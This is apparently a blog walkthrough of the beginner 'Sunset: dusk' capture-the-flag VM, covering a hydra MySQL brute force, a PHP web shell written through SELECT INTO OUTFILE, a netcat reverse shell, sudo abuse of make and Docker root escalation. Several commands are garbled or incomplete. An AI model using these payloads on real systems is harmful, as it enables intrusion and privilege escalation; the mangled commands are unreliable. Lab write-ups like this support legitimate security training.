Sunset: Dusk VM walkthrough

Sunset: dusk is a vulnerable by design Debian based machine created by whitecrOwz. It is available on

This machine is ranked as a beginner VM, so it is very much useful for those pentesting learners who have just started to get hands on practice.

We will take an advantage of the vulnerabilities present in this machine i.e. weak credentials which let us inject the PHP file for exploiting Remote Code Execution.

After importing Sunset: dusk on VirtualBox, start the VM:

dusk on VirtualBox

Network Scanning

As we don’t know the IP address of this VM we will get back to our attacking machine i.e. Kali Linux and use netdiscover command to identify the target machine’s IP

Network ScanningWe got the IP of the target machine now, we will perform information gathering by scanning the target IP to identify all the loopholes and open ports of the victim.

Use Nmap tool to scan the target: # nmap -A

nmap -AFrom the above results we can see there is a bunch of open ports running the services including ftp, ssh, http and so on.

Let’s target port 3306 to try for mysql brute force attack with the help of hydra using rockyou.txt file (a password dictionary of compromised passwords from the social media application developer RockYou)

mysql 3306# hydra –l root P /usr/share/wordlists/rockyou.txt.gz mysql

hydra -l root -P mysqlSuccessfully got the weak credentials of MYSQL (user: root and password: password)


Also redirect towards

redirect 192This page showing the list of the current directory. Also, there is a hint for writable directory /var/tmp, thus making it easy to exploit the loopholes

list of the current directoryAccess the MYSQL Database

The working directory and the credentials for database are in our hands. By using these let’s inject a malicious code as sql query into a PHP file named “ehacking.php”.

This file will proceed a Remote Code Execution.

SQL Query> select <?php system($_GET[‘cmd’]); ?> into outfile ‘/var/tmp/ehacking.php’ ;

Access the MYSQL Database

There is an entry of our injected file ‘ehacking.php’ at

ehacking.phpVerify the Remote Code Execution parameters by executing this PHP file:

Remote Code Execution This ensuring we can run system command and send our cmds to the server through this page.

Get back to Kali prompt and type command:

# nc -lvp 1234

Now try to let the server sends us back an nc connection by executing: -e /bin/bash 1234

an nc connection

Capturing the first flag (user.txt)

The connection is successfully established.

Find the first flag ‘user.txt’ by going into the directoy /home/dusk and read the data from the user.txt

Capturing the first flag (user.txt)

We have successfully spawned the host machine and captured the first flag!

Capturing the second flag (root.txt)

Now run sudo -l

sudo -l This showing we can execute the three marked binaries as if we were the local user dusk without using a password for sudo.

To break into the user dusk environment, use these commands:


sudo -u make -s –eval=$’x:\n\t-‘”$COMMAND”

sudoAnd we successfully got the user dusk environment. We can see from here, Docker is running on the host machine. Let’s use one of Docker privilege escalation routes, to get a root shell

$ docker run v /:/hostOS i t chrisfosterelli/rootplease

This command will fetch the Docker image from the Docker Hub Registry. We have passed three parameters in it i.e.

  1. -v states you want to create a volume in the Docker instance
  2. -i and -t move Docker into ‘shell mode’ rather than starting a daemon process

docker run

After getting into the root shell get id and go into root directory where you will find root.txt that is our final flag!

CTFWe have successfully captured both the flags. This CTF challenge is very interesting showing how to exploit weak credentials and get the root access.

Ehacking Staff
With more than 50 global partners, we are proud to count the world’s leading cybersecurity training provider. EH Academy is the brainchild of Ehacking, which has been involved in the field of training since the past Five years and continues to help in creating professional IT experts.

Most Popular

What is ethical hacking and how you can start?

The world is relying on the internet increasingly every day. Banking, e-commerce, social media, and all manner of government and industrial systems are now...

The Lies of VPN Service Providers

Privacy, anonymity, and security is the main concern for an online user. Many VPN service providers claim that their service helps the user protect...

4 Easy Ways To Help Your Startup Stand Out

There has not been a time in modern history more competitive for new businesses than now. In some ways, this is a very good...

Top Suggestions To Minimize Cyber Attack Risks

The Cyber Protection and Cyber Attack definition play an important role in maintaining both global security and operational productivity due to the rapid proliferation...


Then sign up for FREE to the ehacking’s exclusive group. You will get the exclusive tips/tricks, tutorials, webinars & courses that I ONLY share with my fellow on this exclusive newsletter.